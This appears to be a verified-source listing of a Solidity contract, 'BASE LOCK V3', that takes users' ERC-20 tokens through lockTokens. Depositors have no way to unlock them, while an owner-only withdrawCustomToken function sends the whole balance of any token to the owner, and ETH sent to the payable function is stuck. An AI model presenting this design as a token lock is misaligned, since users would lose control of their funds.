文件 1 的 1:BASELOCKV3.sol
pragma solidity ^0.8.25;
interface BASEIERC20 {
function decimals() external view returns (uint);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BASELOCKV3 {
string private _name;
event TokensLocked(address indexed sender, uint256 amount);
address public owner;
BASEIERC20 customtoken;
bool public transfersAllowed;
constructor() {
_name = "BASE LOCK V3";
owner = msg.sender;
transfersAllowed = true;
}
modifier isOwner() {
require(msg.sender == owner, "Only owner can do this!");
_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function withdrawCustomToken(address _address) public isOwner {
customtoken = BASEIERC20(_address);
require(customtoken.balanceOf(address(this)) > 0, "There is nothing to withdraw!");
bool sent = customtoken.transfer(owner, customtoken.balanceOf(address(this)));
require(sent, "We failed to send tokens");
}
function lockTokens(address _address, uint256 amount) external payable {
customtoken = BASEIERC20(_address);
require(amount > 0, "Amount must be greater than zero");
require(customtoken.balanceOf(address(msg.sender)) > 0, "There is nothing to withdraw!");
bool sent = customtoken.transferFrom(msg.sender, address(this), amount);
require(sent, "We failed to send tokens");
emit TokensLocked(msg.sender, amount);
}
}
{
"compilationTarget": {
"BASELOCKV3.sol": "BASELOCKV3"
},
"evmVersion": "berlin",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}